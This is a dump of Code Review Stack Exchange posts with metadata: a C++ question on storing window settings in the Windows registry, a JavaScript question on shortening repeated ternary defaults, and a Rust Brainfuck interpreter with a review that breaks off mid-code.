<pre><code>typedef struct tagWINPOS
{
DWORD dwWindowStyle;
int iWindowX;
int iWindowY;
} winpos_t;
HKEY hKeyApp = (HKEY)INVALID_HANDLE_VALUE;
const char szWindowStyle[] = "WindowStyle";
const char szWindowX[] = "WindowX";
const char szWindowY[] = "WindowY";
</code></pre>
<p>Later on in the code I'm calling functions like RegSetValueEx and RegQueryValueEx always three times. Like so:</p>
<pre><code>int SaveSettings( HWND hWnd )
{
winpos_t wpos;
// window dimensions from hWnd are stored to wpos, not shown
RegSetValueEx( hKeyApp, szWindowStyle, 0,
REG_DWORD,
(const BYTE*)&wpos.dwWindowStyle,
sizeof(wpos.dwWindowStyle) );
RegSetValueEx( hKeyApp, szWindowX, 0,
REG_DWORD,
(const BYTE*)&wpos.iWindowX,
sizeof(wpos.iWindowX) );
RegSetValueEx( hKeyApp, szWindowY, 0,
REG_DWORD,
(const BYTE*)&wpos.iWindowY,
sizeof(wpos.iWindowY) );
// further irrelevant code removed
}
</code></pre>
<p>Things start to look a bit tedious. So I was thinking to put all the parameters for one function call (say RegSetValueEx) into an std::array and then make a for loop iterating over all the array elements.</p>
<p>Because the Windows registry can store multiple data types, like DWORD (32-bit), QWORD (64-bit) and strings. I thought about std::variant to list all of these for this data field.</p>
<p>I'm started with a little test program like this:</p>
<pre><code>#include <cstddef>
#include <cstdio>
#include <cstdint>
#include <tuple>
#include <variant>
typedef std::variant< int32_t, int64_t, char* > data_t;
typedef std::tuple<
data_t, // setting data
const char*, // setting name
std::size_t // size of setting [bytes]
> setting_t;
typedef std::array< setting_t, 2 > settings_t;
constexpr int reg_dword = 0;
constexpr int reg_qword = 1;
constexpr settings_t settings{
std::make_tuple( (std::in_place_index<reg_dword>, 33), "Mydata", 4 ),
std::make_tuple( (std::in_place_index<reg_qword>, 34), "Mydata2", sizeof(std::in_place_index_t<reg_qword>) ) };
int main()
{
printf( "name: %s, value %ld\n", std::get<1>( settings[0] ), std::get<0>( std::get<0>( settings[0] ) ));
getchar();
return EXIT_SUCCESS;
}
</code></pre>
<p>Anyway, do people consider this approach a good one to get to my goal of having to spell out a single function call of RegSetValueEx inside a for loop?</p>
<p>The initialization of the array has much boilerplate as well as the effort to obtain values. What is a good approach to improve the readability of this? Maybe a constexpr function like std::make_tuple but then more specific for my case?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T04:31:27.090",
"Id": "411723",
"Score": "0",
"body": "Why are you using a tuple instead of a class with named members?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T04:46:43.533",
"Id": "411724",
"Score": "0",
"body": "A class or struct instead of the tuple might be an idea. Can you tell me how I should initialize the std::variant through the class in that case?"
}
] | [
{
"body": "<p>you need save <code>winpos_t</code> as single value with <code>REG_BINARY</code> instead 3 different values. possible implementation:</p>\n\n<pre><code>class CConfig\n{\n HKEY _hKey;\npublic:\n\n ~CConfig()\n {\n if (_hKey)\n {\n RegCloseKey(_hKey);\n }\n }\n\n CConfig() : _hKey (0)\n {\n }\n\n LSTATUS Save(\n PCWSTR lpValueName,\n DWORD dwType,\n const void* lpData,\n DWORD cbData)\n {\n return RegSetValueExW(_hKey, lpValueName, 0, dwType, (BYTE*)lpData, cbData);\n }\n\n LSTATUS Load(\n PCWSTR lpValueName,\n PDWORD lpType,\n void* lpData,\n PDWORD lpcbData)\n {\n return RegQueryValueExW(_hKey, lpValueName, 0, lpType, (BYTE*)lpData, lpcbData);\n }\n\n LSTATUS Init(HKEY hKey, PCWSTR lpSubKey)\n {\n return RegCreateKeyExW(hKey, lpSubKey, 0, 0, 0, KEY_ALL_ACCESS, 0, &_hKey, 0);\n }\n};\n\nvoid test_cfg()\n{\n CConfig cfg;\n if (!cfg.Init(HKEY_CURRENT_USER, L\"Software\\\\MyKey\"))\n {\n struct winpos_t\n {\n DWORD dwWindowStyle;\n int iWindowX;\n int iWindowY;\n };\n\n winpos_t test_pos = { 1, 2, 3};\n\n static const PCWSTR szwinpos_t = L\"winpos_t\";\n\n if (!cfg.Save(szwinpos_t, REG_BINARY, &test_pos, sizeof(test_pos)))\n {\n ULONG type, cb = sizeof(test_pos);\n RtlZeroMemory(&test_pos, sizeof(test_pos));\n if (!cfg.Load(szwinpos_t, &type, &test_pos, &cb) && type == REG_BINARY && cb == sizeof(test_pos))\n {\n DbgPrint(\"{%x, %x, %x}\\n\", test_pos.dwWindowStyle, test_pos.iWindowX, test_pos.iWindowY);\n }\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-09T10:50:31.660",
"Id": "213137",
"ParentId": "212891",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T03:37:48.370",
"Id": "212891",
"Score": "1",
"Tags": [
"c++",
"windows",
"c++17",
"configuration"
],
"Title": "Saving settings to Windows registry as a tuple"
} | 212891 |
<p>I have a repetitive set of instructions that I would like to optimize. Is there a better pattern to achieve the same goal but with less repetition ?</p>
<pre><code>var assigned = this.state.data ? this.state.data.assigned : 1,
delivered = this.state.data ? this.state.data.delivered : 1,
unassigned = this.state.data ? this.state.data.unassigned : 1,
pending = this.state.data ? this.state.data.pending: 1,
total = this.state.data ? this.state.data.total: 1,
failed = this.state.data ? this.state.data.failed : 1;
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T13:34:07.600",
"Id": "411785",
"Score": "0",
"body": "I dont think why people's are downvoting without proper explanation"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T14:22:20.807",
"Id": "411793",
"Score": "0",
"body": "I don't know how this lacks context. This *is* the code - a series of assignments that are each a ternary expression. The goal is to have this effect without being that verbose."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:46:58.197",
"Id": "411882",
"Score": "0",
"body": "@VLAZ It's all explained in the [help/on-topic]. We don't review snippets. There's a long list of reasons for that, which can all be found on meta."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:54:29.570",
"Id": "411884",
"Score": "0",
"body": "@Mast I still don't get it. As far as I can see, this example answers \"yes\" to each of the criteria listed. There is code, OP is presumably the author or maintainer, seems to be from an actual project, it works as intended, OP wants this to be \"good code\" as in improved, all facets can be discussed and I've indeed made suggestions not directly related to OP's request. Sure, it's a *short* code but I don't see *length* being mentioned. The only thing I see it *maybe* failing is the \"Do not ask 'How do I best do X'\" but if it's *that* reason there could have been an edit or comment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:57:09.750",
"Id": "411885",
"Score": "0",
"body": "@Mast wait, upon review, are you saying that it should have just been executable code? That's also addressable through a comment or edit, I would think. A downvote + close vote with no explanation for an easily correctable issue doesn't address this. Not to mention that the help centre doesn't make it sound like an absolute requirement - just an option."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:40:36.387",
"Id": "411906",
"Score": "0",
"body": "@VLAZ The help center is phrased too friendly, yes. However, given the current course of SE on trying to be friendly instead of preferring clarity, that is not going to change."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:58:57.017",
"Id": "411968",
"Score": "0",
"body": "@Mast so, let's review \"there is a problem here\" -> \"what is the problem?\" -> \"there is a problem here\". I'm baffled by the complete lack of information here. Is this really a network where people, you know, give feedback?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:53:48.973",
"Id": "411977",
"Score": "1",
"body": "The problem is that the code is presented without context. It is hard to give the proper advice unless we see where the `state` values come from and how they are used."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T14:54:06.260",
"Id": "412094",
"Score": "0",
"body": "@200_success I'm not sure why it would matter. To me the code is completely clear - it's a bog standard null-safe extraction of a value with a fallback. Where the value goes afterwards doesn't seem relevant, nor where it comes from as long as the general shape of the source object is known."
}
] | [
{
"body": "<p>First of all, you can use the OR operand. It's idiomatic to mean \"either get the value of a variable or a fallback value, if falsey\"</p>\n\n<pre><code>assignment = someVariable || \"fallback value\"\n</code></pre>\n\n<p>Since you're checking <code>this.state.data</code> every time, it's better to either check it once </p>\n\n<pre><code>const data = this.state.data || {}\n</code></pre>\n\n<p>and then use that</p>\n\n<pre><code>var assigned = data.assigned || 1,\n delivered = data.delivered || 1,\n unassigned = data.unassigned || 1,\n pending = data.pending || 1,\n total = data.total || 1,\n failed = data.failed || 1;\n</code></pre>\n\n<p>This will leave <code>this.state.data</code> untouched, you are just working with a <em>different</em> variable called <code>data</code>. </p>\n\n<p>Alternatively, you can directly check and possibly initialise <code>this.state.data</code>, assuming that doesn't lead to problems with any other potential initialisation.</p>\n\n<pre><code>this.state.data = this.state.data || {}\n</code></pre>\n\n<p>and then you can check <code>var assigned = this.state.data.assigned || 1</code> and so on.</p>\n\n<p>Note that this style will give you the fallback if the current value is <em>falsey</em>. This includes an empty string or the number zero. If those are valid values, then you should not be using the OR operator to get them. For example, with <code>this.state.data.failed = 0</code> the expression <code>failed = this.state.data.failed || 1</code> will give you <code>1</code>. In that case, you might need to write a custom function to get the value or get a default value. If you have Lodash, you can use <a href=\"https://lodash.com/docs/4.17.11#get\" rel=\"nofollow noreferrer\"><code>_.get()</code></a> for that purpose.</p>\n\n<p>If you are using ES6, then this can be drastically shortened using a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment\" rel=\"nofollow noreferrer\">destructuring assignment</a> with default values</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const data = { assigned: 5, delivered: 10, total: 42 };\n\nlet { \n assigned = 1, \n delivered = 1, \n unassigned = 1, \n pending = 1, \n total = 1, \n failed = 1 \n} = data;\n\nconsole.log(\"assigned\", assigned);\nconsole.log(\"delivered\", delivered);\nconsole.log(\"unassigned\", unassigned);\nconsole.log(\"pending\", pending);\nconsole.log(\"total\", total);\nconsole.log(\"failed\", failed);</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:56:21.183",
"Id": "411770",
"Score": "0",
"body": "It would be useful to know what is wrong with this question/answer if we are to improve them."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T07:44:49.777",
"Id": "212896",
"ParentId": "212895",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T07:21:10.657",
"Id": "212895",
"Score": "-2",
"Tags": [
"javascript",
"react.js"
],
"Title": "Simple conditional operator optimization"
} | 212895 |
<p>Not a long time ago, I got into Rust and I made a simple <a href="https://github.com/DimChtz/brainfuck/tree/master/rust-brainpreter" rel="nofollow noreferrer">Brainfuck Interpreter</a>. Now I want to get back to Rust and I would like some comments on my code:</p>
<p>Just in case it's hard to read code from post:</p>
<p><a href="https://github.com/DimChtz/brainfuck/tree/master/rust-brainpreter" rel="nofollow noreferrer">https://github.com/DimChtz/brainfuck/tree/master/rust-brainpreter</a></p>
<p><strong>lib.rs</strong></p>
<pre><code>mod core;
use core::parser::Parser;
use core::program::Program;
use core::instruction::Instruction;
use core::error::Error;
use core::memory::Memory;
use std::io;
use std::io::prelude::*;
use std::path::Path;
// Struct for the bf Interpreter (brainpreter)
pub struct Inter {
tape:Memory,
program:Program,
parser:Parser,
}
impl Inter {
// Function to create and return a new Interpreter
pub fn new() -> Inter {
Inter {
tape: Memory::new(),
program: Program::new(),
parser: Parser::new(),
}
}
// Function to load code into the parser (text)
pub fn load<S: Into<String>>(&mut self, p:S) -> Result<(), Error> {
self.parser.load(p)
}
// Function to load code into the parser (file)
pub fn load_from_file<P: AsRef<Path>>(&mut self, src:P) -> Result<(), Error> {
self.parser.load_from_file(src)
}
// Function to compile the code
pub fn parse(&mut self) -> Result<(), Error> {
// Call the parser
match self.parser.parse() {
Ok(p) => {
self.program = p;
Ok(())
}
Err(e) => Result::Err(e),
}
}
// Function to execute bf program
pub fn run(&mut self) -> Result<(), Error> {
// Check if a program is properly loaded
if self.program.get_size() == 0 {
return Result::Err(Error::EmptyProgram);
}
// Execute instructions
while let Some(instr) = self.program.get() {
match instr {
Instruction::IncPtr => { match self.inc_ptr() { Ok(_) => { } Err(e) => return Result::Err(e), } }
Instruction::DecPtr => { match self.dec_ptr() { Ok(_) => { } Err(e) => return Result::Err(e), } }
Instruction::IncVal => { match self.inc_val() { Ok(_) => { } Err(e) => return Result::Err(e), } }
Instruction::DecVal => { match self.dec_val() { Ok(_) => { } Err(e) => return Result::Err(e), } }
Instruction::Input => { self.input(); }
Instruction::Output => { self.output(); }
Instruction::OpenBracket(n) => { self.open_bracket(n); }
Instruction::CloseBracket(n) => { self.close_bracket(n); }
};
// If this was the last instruction
if !self.program.inc_ptr() {
break;
}
};
return Result::Ok(());
}
// Function to increase the value on the memory (tape)
fn inc_val(&mut self) -> Result<(), Error> {
self.tape.inc_val()
}
// Function to decrease the value on the memory (tape)
fn dec_val(&mut self) -> Result<(), Error> {
self.tape.dec_val()
}
// Function to increase the pointer on the memory (tape)
fn inc_ptr(&mut self) -> Result<(), Error> {
self.tape.inc_ptr()
}
// Function to decrease the pointer on the memory (tape)
fn dec_ptr(&mut self) -> Result<(), Error> {
self.tape.dec_ptr()
}
// Function to read into the memory (tape)
fn input(&mut self) {
match io::stdin().bytes().next() {
Some(v) => self.tape.set_val(v.unwrap()),
None => { }
}
}
// Function to print a char from memory (tape)
fn output(&mut self) {
print!("{}", self.tape.get_val() as char);
}
// Function to handle the open bracket
fn open_bracket(&mut self, pos:usize) {
if self.tape.get_val() == 0 {
self.program.set_ptr(pos);
}
}
// Function to handle the close bracket
fn close_bracket(&mut self, pos:usize) {
if self.tape.get_val() != 0 {
self.program.set_ptr(pos);
}
}
}
</code></pre>
<p><strong>core/mod.rs</strong></p>
<pre><code>pub mod instruction;
pub mod program;
pub mod parser;
pub mod error;
pub mod memory;
</code></pre>
<p><strong>core/error.rs</strong></p>
<pre><code>use std::error;
use std::fmt;
#[derive(Debug)]
pub enum Error {
NoSuchFile,
EmptyProgram,
MissingOpenBracket,
MissingCloseBracket,
PtrOverflow,
PtrUnderflow,
ValOverflow,
ValUnderflow,
}
impl error::Error for Error {
fn description(&self) -> &str {
match *self {
Error::NoSuchFile => "Failed to open file",
Error::EmptyProgram => "The program is empty",
Error::MissingOpenBracket => "Missing open bracket(s)",
Error::MissingCloseBracket => "Missing close bracket(s)",
Error::PtrOverflow => "Memory pointer overflow",
Error::PtrUnderflow => "Memory pointer underflow",
Error::ValOverflow => "Memory value overflow",
Error::ValUnderflow => "Memory value underflow",
}
}
}
impl fmt::Display for Error {
fn fmt(&self, f:&mut fmt::Formatter) -> fmt::Result {
match *self {
Error::NoSuchFile => write!(f, "Couldn't open file."),
Error::EmptyProgram => write!(f, "The program is empty."),
Error::MissingOpenBracket => write!(f, "Missing open bracket(s)."),
Error::MissingCloseBracket => write!(f, "Missing close bracket(s)."),
Error::PtrOverflow => write!(f,"Memory pointer overflow."),
Error::PtrUnderflow => write!(f,"Memory pointer underflow."),
Error::ValOverflow => write!(f,"Memory value overflow."),
Error::ValUnderflow => write!(f,"Memory value underflow."),
}
}
}
</code></pre>
<p><strong>core/instruction.rs</strong></p>
<pre><code>use std::fmt::{self, Display};
#[derive(Copy, Clone)]
pub enum Instruction {
IncPtr,
DecPtr,
IncVal,
DecVal,
Input,
Output,
OpenBracket(usize),
CloseBracket(usize),
}
impl Display for Instruction {
fn fmt(&self, f:&mut fmt::Formatter) -> fmt::Result {
match *self {
Instruction::IncPtr => write!(f, ">"),
Instruction::DecPtr => write!(f, "<"),
Instruction::IncVal => write!(f, "+"),
Instruction::DecVal => write!(f, "-"),
Instruction::Input => write!(f, ","),
Instruction::Output => write!(f, "."),
Instruction::OpenBracket(_) => write!(f, "["),
Instruction::CloseBracket(_) => write!(f, "]"),
}
}
}
pub mod mapper {
use super::Instruction;
pub fn get_instr(c:char) -> Option<super::Instruction> {
match c {
'>' => Option::Some(Instruction::IncPtr),
'<' => Option::Some(Instruction::DecPtr),
'+' => Option::Some(Instruction::IncVal),
'-' => Option::Some(Instruction::DecVal),
',' => Option::Some(Instruction::Input),
'.' => Option::Some(Instruction::Output),
'[' => Option::Some(Instruction::OpenBracket(0usize)),
']' => Option::Some(Instruction::CloseBracket(0usize)),
_ => Option::None,
}
}
#[allow(unused)]
pub fn get_char(instr:Instruction) -> char {
match instr {
Instruction::IncPtr => '>',
Instruction::DecPtr => '<',
Instruction::IncVal => '+',
Instruction::DecVal => '-',
Instruction::Input => ',',
Instruction::Output => '.',
Instruction::OpenBracket(_) => '[',
Instruction::CloseBracket(_) => ']',
}
}
}
</code></pre>
<p><strong>core/memory.rs</strong></p>
<pre><code>use super::error::Error;
pub const MEMORY_SIZE:usize = 30000;
// Memory tape
#[derive(Debug)]
pub struct Memory {
cells: Vec<u8>,
ptr:usize,
}
impl Memory {
// Function to create and return a new Memory tape
pub fn new() -> Memory {
let mut v = Vec::<u8>::new();
v.push(0);
Memory {
cells: v,
ptr:0,
}
}
// Function to move the pointer to the right
pub fn inc_ptr(&mut self) -> Result<(), Error> {
self.ptr += 1;
match self.ptr {
n if n >= MEMORY_SIZE => {
Result::Err(Error::PtrOverflow)
}
_ => {
if self.ptr >= self.cells.len() {
self.cells.push(0);
}
Result::Ok(())
}
}
}
// Function to move the poiner to the left
pub fn dec_ptr(&mut self) -> Result<(), Error> {
match self.ptr {
n if n == 0 => {
Result::Err(Error::PtrUnderflow)
}
_ => {
self.ptr -= 1;
Result::Ok(())
}
}
}
// Function to increase the value
pub fn inc_val(&mut self) -> Result<(), Error> {
match self.cells[self.ptr].checked_add(1) {
Some(v) => {
self.cells[self.ptr] = v;
Result::Ok(())
}
None => Result::Err(Error::ValOverflow),
}
}
// Function to decrease the value
pub fn dec_val(&mut self) -> Result<(), Error> {
match self.cells[self.ptr].checked_sub(1) {
Some(v) => {
self.cells[self.ptr] = v;
Result::Ok(())
}
None => Result::Err(Error::ValUnderflow),
}
}
// Function to get the current value
pub fn get_val(&self) -> u8 {
self.cells[self.ptr]
}
// Function to set the current value
pub fn set_val(&mut self, v:u8) {
self.cells[self.ptr] = v;
}
}
</code></pre>
<p><strong>core/parser.rs</strong></p>
<pre><code>use super::instruction::{mapper, Instruction};
use super::program::Program;
use super::error::Error;
use std::io::prelude::*;
use std::fs::File;
use std::path::Path;
use std::convert::AsRef;
pub struct Parser {
code_buffer:Vec<u8>,
}
impl Parser {
// Function to create and return a new Parser
pub fn new() -> Parser {
Parser {
code_buffer:Vec::<u8>::new(),
}
}
// Function to load code from simple text
pub fn load<S: Into<String>>(&mut self, buffer:S) -> Result<(), Error> {
self.code_buffer = buffer.into().into_bytes();
match self.code_buffer.len() {
l if l > 0 => Result::Ok(()),
_ => Result::Err(Error::EmptyProgram),
}
}
// Function to load code from a file
pub fn load_from_file<P: AsRef<Path>>(&mut self, src:P) -> Result<(), Error> {
match File::open(src) {
Ok(mut file) => {
let mut content = String::new();
match file.read_to_string(&mut content) {
_ => self.load(content)
}
}
Err(_) => Result::Err(Error::NoSuchFile),
}
}
// Function to compile the code into intermidiate code (program)
pub fn parse(&mut self) -> Result<Program, Error> {
// Create a new program
let mut prog = Program::new();
// Create a stack for the loop brackets
let mut loop_stack = Vec::<usize>::new();
// Create a code buffer ptr
let mut code_ptr:usize = 0;
// Compile the code buffer and feed the program
if self.code_buffer.len() != 0 {
loop {
match self.code_buffer[code_ptr] as char {
b @ '+' => { prog.push(mapper::get_instr(b).unwrap()); }
b @ '-' => { prog.push(mapper::get_instr(b).unwrap()); }
b @ '>' => { prog.push(mapper::get_instr(b).unwrap()); }
b @ '<' => { prog.push(mapper::get_instr(b).unwrap()); }
b @ ',' => { prog.push(mapper::get_instr(b).unwrap()); }
b @ '.' => { prog.push(mapper::get_instr(b).unwrap()); }
b @ '[' => {
// Add the instruction to the program (leave 0 for now)
prog.push(mapper::get_instr(b).unwrap());
// Update the loop stack
loop_stack.push(prog.get_size() - 1);
}
']' => {
if loop_stack.is_empty() {
// Missmatch `]` bracket found
return Result::Err(Error::MissingOpenBracket);
}
let curr_ptr = prog.get_size();
let last_open_bracket_ptr = loop_stack.pop().unwrap();
prog.update_instr(last_open_bracket_ptr, Instruction::OpenBracket(curr_ptr));
prog.push(Instruction::CloseBracket(last_open_bracket_ptr));
}
_ => { /* IGNORE UNUSED SYMBOLS */ }
};
code_ptr += 1;
if code_ptr >= self.code_buffer.len() {
break;
}
}
// Check if loop_stack is empty or not -> not = error (missmatched brackets)
if !loop_stack.is_empty() {
return Result::Err(Error::MissingCloseBracket);
}
} else {
// The code buffer is empty -> empty code loaded or just never loaded
return Result::Err(Error::EmptyProgram);
}
// Program is empty return Error (code buffer contains only unused symbols)
if prog.get_size() == 0 {
return Result::Err(Error::EmptyProgram);
}
return Result::Ok(prog);
}
}
</code></pre>
<p><strong>core/program.rs</strong></p>
<pre><code>use super::instruction::Instruction;
// Struct for the program (a series of instructions)
pub struct Program {
instr:Vec<Instruction>,
ptr:usize,
}
impl Program {
// Function to create and return a new program
pub fn new() -> Program {
Program {
instr:Vec::<Instruction>::new(),
ptr:0,
}
}
// Function to increase the pointer
pub fn inc_ptr(&mut self) -> bool {
if self.ptr < self.instr.len() - 1 {
self.ptr += 1;
return true;
}
false
}
// Function to decrease the pointer
#[allow(unused)]
pub fn dec_ptr(&mut self) -> bool {
if self.ptr > 0 {
self.ptr -= 1;
return true;
}
false
}
// Function to move the pointer
pub fn set_ptr(&mut self, pos:usize) -> bool {
if pos >= self.get_size() {
return false;
}
self.ptr = pos;
true
}
// Function to get the current instruction (if a program is already loaded and the instruction exists)
pub fn get(&self) -> Option<Instruction> {
if self.instr.len() > 0 { Option::Some(self.instr[self.ptr]) } else { Option::None }
}
// Function to increase the pointer and get the instruction
#[allow(unused)]
pub fn get_next(&mut self) -> Option<Instruction> {
if self.inc_ptr() { self.get() } else { Option::None }
}
// Function to decrease the pointer and get the instruction
#[allow(unused)]
pub fn get_prev(&mut self) -> Option<Instruction> {
if self.dec_ptr() { self.get() } else { Option::None }
}
// Function to get an instruction
#[allow(unused)]
pub fn get_at(&self, p:usize) -> Option<Instruction> {
if p >= (0 as usize) && p < self.instr.len() { Option::Some(self.instr[p]) } else { Option::None }
}
// Function to add a new instruction at the end of the program
pub fn push(&mut self, i:Instruction) -> &mut Program {
self.instr.push(i);
self
}
// Function to remove the last instruction from the program (if exists)
#[allow(unused)]
pub fn pop(&mut self) -> bool {
return match self.instr.pop() {
Some(_) => {
if self.ptr >= self.instr.len() {
if self.ptr > 0 {
self.ptr -= 1;
}
}
true
}
None => false
}
}
// Function to clear the program and set pointer to 0
#[allow(unused)]
pub fn clear(&mut self) -> &mut Program {
self.instr.clear();
self.ptr = 0;
self
}
// Function to reset the pointer (set to 0)
#[allow(unused)]
pub fn reset_ptr(&mut self) -> &mut Program {
self.ptr = 0;
self
}
// Function to update a specific instruction
pub fn update_instr(&mut self, pos:usize, new_instr:Instruction) -> bool {
if self.instr.len() == 0 || pos >= self.instr.len() {
return false;
}
self.instr[pos] = new_instr;
return true;
}
// Function to get program's size
pub fn get_size(&self) -> usize {
self.instr.len()
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:32:17.430",
"Id": "411743",
"Score": "0",
"body": "Do you have a repository for this? It is correct, that you post the code here, but it's a bit cumbersome to scrap the code from this post."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:35:10.487",
"Id": "411745",
"Score": "0",
"body": "@hellow Sorry, should I delete this? Yes, I added a link the repository in case it's hard to read the code from the post."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:36:25.903",
"Id": "411746",
"Score": "0",
"body": "No! As said, it is the correct way. Always post the related to to stackexchange, so it does not rely on external sources. But it's a extra step so it is easier for me to get and inspect the code, instead of doing copy&paste 8 times and setting up the repo correctly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:56:09.017",
"Id": "411749",
"Score": "0",
"body": "@hellow No worries. My bad, I would think it's a link to wikipedia as well lol"
}
] | [
{
"body": "<p>(Please note: that I'm writing this while I walk through your code, so things I spot I will write down. This so can be sometimes a bit difficult to follow, I apologize!)</p>\n\n<p>Rust has pretty good tooling, e.g. <a href=\"https://github.com/rust-lang/rustfmt\" rel=\"nofollow noreferrer\"><code>rustfmt</code></a> which ensures, that the code you wrote compiles with the <a href=\"https://github.com/rust-dev-tools/fmt-rfcs\" rel=\"nofollow noreferrer\">rust style guidlines</a>. This is the first step you should do (it's pure formatting, does nothing else).</p>\n\n<p>Second, there is <a href=\"https://github.com/rust-lang/rust-clippy\" rel=\"nofollow noreferrer\"><code>clippy</code></a> which spots common mistakes in your code, e.g. using <code>return 3;</code> as a last statement in a function (which is not recommended, but not actually wrong).</p>\n\n<p>The neat thing is, that this is really painless to install and use.</p>\n\n<ul>\n<li><code>rustup component add clippy rustfmt</code>\n\n<ul>\n<li>installs clippy and rustfmt for your current toolchain</li>\n</ul></li>\n<li><code>cargo rustfmt</code>\n\n<ul>\n<li>formats the code, you may want to commit the code before processing further</li>\n</ul></li>\n<li><code>cargo clippy</code>\n\n<ul>\n<li>Spots common mistakes and potential errors in your code</li>\n</ul></li>\n</ul>\n\n<p>To highlight some of the things you do which are not considered as <em>rusty</em>:</p>\n\n<hr>\n\n<pre class=\"lang-none prettyprint-override\"><code> --> src/core/parser.rs:129:9\n129 | return Result::Ok(prog);\n</code></pre>\n\n<p>Make this</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>Ok(prog)\n</code></pre>\n\n<p>You can omit <code>return</code> and espcially <code>Result</code>, because it is <a href=\"https://doc.rust-lang.org/std/prelude/index.html\" rel=\"nofollow noreferrer\">in the prelude of <code>std</code></a>.\nAlso do this for other occurences, e.g. <code>src/core/program.rs:139</code> and <code>src/lib.rs:100</code>. Especially you do <code>Result::Ok/Err</code> very often, although you can shorten it to <code>Ok(...)</code> or <code>Err(...)</code>.</p>\n\n<hr>\n\n<p>Transform</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>src/core/parser.rs:60:12\n60 | if self.code_buffer.len() != 0 {\n</code></pre>\n\n<p>to</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>if !self.code_buffer.is_empty() {\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-none prettyprint-override\"><code>src/lib.rs:125:9\n |\n125 | match io::stdin().bytes().next() {\n126 | Some(v) => self.tape.set_val(v.unwrap()),\n127 | \n128 | None => {}\n129 | }\n</code></pre>\n\n<pre class=\"lang-rust prettyprint-override\"><code>if let Some(v) = io::stdin().bytes().next() {\n self.tape.set_val(v.unwrap());\n}\n</code></pre>\n\n<hr>\n\n<p>You use unwrap quite often. You should either consider using a <code>Result</code> or <a href=\"https://doc.rust-lang.org/std/option/enum.Option.html#method.expect\" rel=\"nofollow noreferrer\"><code>{Option,Result}::expect</code></a> which will panic with a custom message instead of the default one which you can use to explain what went wrong and why. It is considered to be better than using plain unwrap (unless you really, <strong>really</strong> know it cannot fail, but often you should use a <code>if let</code> then like I showed above.</p>\n\n<hr>\n\n<p>I would recommend using <code>#[derive(Debug)]</code> on types, so debugging is easier. Also provide a <a href=\"https://doc.rust-lang.org/std/default/trait.Default.html\" rel=\"nofollow noreferrer\"><code>Default</code></a> implementation where suiteable, e.g. for <code>Inter</code>, <code>Memory</code>, <code>Program</code> and <code>Parser</code>. A rule of thumb is, whenever you have a <code>new</code> \"constructor\" with no arguments, provide a <code>Default</code> impl.</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>#[derive(Debug, Default)]\npub struct Inter {\n tape: Memory,\n program: Program,\n parser: Parser,\n}\n</code></pre>\n\n<hr>\n\n<p>I would rewrite the <code>Inter::load</code> and <code>Inter::load_from_file</code> as static methods. In contrast to other OOP-languages rust does not have an explicit constructor and is therefore not bound to a specific return value, so you can have something like <code>fn new() -> Result<Self, Error></code> which is really neat. Or you could provide a method <code>with_parser</code> to <code>Inter</code>, e.g.</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>pub fn with_parser(parser: Parser) -> Self {\n Inter {\n parser,\n ..Default::default()\n }\n}\n</code></pre>\n\n<p>This way you would get rid of redudant methods, which is always a good thing!</p>\n\n<p><code>Parser::load</code> would then look similar to</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>impl Parser {\n pub fn load<S: Into<String>>(buffer: S) -> Result<Self, Error> {\n let buffer = buffer.into().into_bytes();\n if buffer.is_empty() {\n Err(Error::EmptyProgram)?; // or return Err(Error::EmptyProgram);\n }\n Ok(Parser {\n code_buffer: buffer.into_bytes()\n })\n }\n}\n</code></pre>\n\n<p>Same goes for <code>load_from_file</code>.</p>\n\n<hr>\n\n<p>Your <code>Inter</code> does not new the <code>parser</code> member at all. You could get rid of it completly, because you only use it for parsing text.<br>\nSo instead of providing a <code>new</code> function without parameters on <code>Inter</code>, I would have a function: <code>pub fn with_program(program: Program) -> Self</code> which you can call like</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>fn run() -> Result<(), Error> {\n let interpreter = Inter::with_program(Parser::load_from_file(\"/dev/urandom\")?.parse()?);\n // 